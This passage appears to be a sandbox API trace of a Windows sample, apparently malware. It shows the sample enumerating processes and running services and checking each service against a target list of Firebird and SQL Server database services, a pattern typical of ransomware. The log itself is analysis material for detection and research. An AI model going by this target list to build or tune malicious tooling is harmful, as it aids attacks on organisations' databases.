(lpString="cmd.exe") returned 7 [0092.256] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0092.256] lstrlenW (lpString="conhost.exe") returned 11 [0092.257] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0092.257] lstrlenW (lpString="mode.com") returned 8 [0092.257] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0092.258] lstrlenW (lpString="LogonUI.exe") returned 11 [0092.258] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0092.258] CloseHandle (hObject=0x370) returned 1 [0092.258] Sleep (dwMilliseconds=0x1f4) [0093.229] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ced60 [0093.230] EnumServicesStatusExW (in: hSCManager=0x4ced60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0093.230] GetLastError () returned 0xea [0093.230] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x37e91c8 [0093.230] EnumServicesStatusExW (in: hSCManager=0x4ced60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37e91c8, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37e91c8, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0093.231] CloseServiceHandle (hSCObject=0x4ced60) returned 1 [0093.231] lstrlenW (lpString="Appinfo") returned 7 [0093.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0093.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0093.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0093.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0093.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0093.232] lstrlenW (lpString="AppXSvc") returned 7 [0093.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0093.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0093.232] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0093.232] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0093.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0093.232] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0093.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0093.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0093.232] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0093.232] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0093.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0093.232] lstrlenW (lpString="Audiosrv") returned 8 [0093.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0093.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0093.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0093.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0093.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0093.232] lstrlenW (lpString="BFE") returned 3 [0093.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0093.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0093.232] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0093.232] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0093.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0093.232] lstrlenW (lpString="BITS") returned 4 [0093.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0093.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0093.232] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0093.232] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0093.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0093.232] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0093.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0093.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0093.232] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0093.232] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0093.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0093.233] lstrlenW (lpString="CDPSvc") returned 6 [0093.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0093.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0093.233] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0093.233] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0093.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0093.233] lstrlenW (lpString="ClickToRunSvc") returned 13 [0093.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0093.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0093.233] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0093.233] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0093.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0093.233] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0093.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0093.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0093.233] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0093.233] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0093.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0093.233] lstrlenW (lpString="CryptSvc") returned 8 [0093.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0093.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0093.233] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0093.233] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0093.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0093.233] lstrlenW (lpString="DcomLaunch") returned 10 [0093.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0093.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0093.233] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0093.233] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0093.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0093.233] lstrlenW (lpString="DeviceAssociationService") returned 24 [0093.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0093.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0093.233] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0093.233] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0093.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0093.234] lstrlenW (lpString="Dhcp") returned 4 [0093.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0093.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0093.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0093.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0093.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0093.234] lstrlenW (lpString="Dnscache") returned 8 [0093.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0093.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0093.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0093.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0093.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0093.234] lstrlenW (lpString="DoSvc") returned 5 [0093.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0093.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0093.234] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0093.234] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0093.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0093.234] lstrlenW (lpString="DPS") returned 3 [0093.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0093.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0093.234] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0093.234] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0093.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0093.234] lstrlenW (lpString="DusmSvc") returned 7 [0093.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0093.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0093.234] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0093.234] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0093.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0093.234] lstrlenW (lpString="EventLog") returned 8 [0093.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0093.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0093.234] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0093.234] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0093.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0093.235] lstrlenW (lpString="EventSystem") returned 11 [0093.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0093.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0093.235] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0093.235] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0093.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0093.235] lstrlenW (lpString="FontCache") returned 9 [0093.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0093.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0093.235] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0093.235] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0093.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0093.235] lstrlenW (lpString="gpsvc") returned 5 [0093.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0093.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0093.235] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0093.235] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0093.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0093.235] lstrlenW (lpString="iphlpsvc") returned 8 [0093.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0093.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0093.235] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0093.235] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0093.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0093.235] lstrlenW (lpString="KeyIso") returned 6 [0093.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0093.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0093.235] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0093.235] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0093.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0093.235] lstrlenW (lpString="LanmanServer") returned 12 [0093.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0093.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0093.235] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0093.235] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0093.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0093.235] lstrlenW (lpString="LanmanWorkstation") returned 17 [0093.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0093.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0093.236] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0093.236] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0093.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0093.236] lstrlenW (lpString="lfsvc") returned 5 [0093.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0093.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0093.236] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0093.236] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0093.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0093.236] lstrlenW (lpString="lmhosts") returned 7 [0093.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0093.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0093.236] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0093.236] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0093.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0093.236] lstrlenW (lpString="LSM") returned 3 [0093.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0093.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0093.236] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0093.236] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0093.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0093.236] lstrlenW (lpString="MapsBroker") returned 10 [0093.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0093.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0093.236] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0093.236] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0093.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0093.236] lstrlenW (lpString="MpsSvc") returned 6 [0093.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0093.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0093.236] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0093.236] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0093.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0093.236] lstrlenW (lpString="NcbService") returned 10 [0093.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0093.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0093.237] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0093.237] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0093.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0093.237] lstrlenW (lpString="netprofm") returned 8 [0093.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0093.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0093.237] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0093.237] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0093.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0093.237] lstrlenW (lpString="NlaSvc") returned 6 [0093.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0093.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0093.237] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0093.237] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0093.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0093.237] lstrlenW (lpString="nsi") returned 3 [0093.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0093.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0093.237] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0093.237] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0093.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0093.237] lstrlenW (lpString="PcaSvc") returned 6 [0093.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0093.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0093.237] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0093.237] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0093.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0093.237] lstrlenW (lpString="PlugPlay") returned 8 [0093.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0093.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0093.237] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0093.237] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0093.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0093.237] lstrlenW (lpString="Power") returned 5 [0093.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0093.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0093.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0093.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0093.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0093.238] lstrlenW (lpString="ProfSvc") returned 7 [0093.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0093.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0093.238] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0093.238] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0093.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0093.238] lstrlenW (lpString="RpcEptMapper") returned 12 [0093.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0093.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0093.238] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0093.238] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0093.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0093.238] lstrlenW (lpString="RpcSs") returned 5 [0093.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0093.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0093.238] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0093.238] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0093.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0093.238] lstrlenW (lpString="SamSs") returned 5 [0093.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0093.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0093.238] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0093.238] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0093.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0093.238] lstrlenW (lpString="Schedule") returned 8 [0093.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0093.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0093.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0093.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0093.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0093.238] lstrlenW (lpString="SecurityHealthService") returned 21 [0093.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0093.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0093.239] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0093.239] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0093.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0093.239] lstrlenW (lpString="SENS") returned 4 [0093.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0093.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0093.239] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0093.239] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0093.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0093.239] lstrlenW (lpString="ShellHWDetection") returned 16 [0093.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0093.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0093.239] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0093.239] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0093.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0093.239] lstrlenW (lpString="Spooler") returned 7 [0093.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0093.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0093.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0093.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0093.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0093.239] lstrlenW (lpString="SSDPSRV") returned 7 [0093.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0093.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0093.239] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0093.239] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0093.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0093.239] lstrlenW (lpString="StateRepository") returned 15 [0093.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0093.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0093.239] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0093.239] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0093.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0093.239] lstrlenW (lpString="SysMain") returned 7 [0093.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0093.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0093.240] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0093.240] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0093.240] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x37e91c8 | out: hHeap=0x490000) returned 1 [0093.240] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x350 [0093.557] Process32FirstW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: 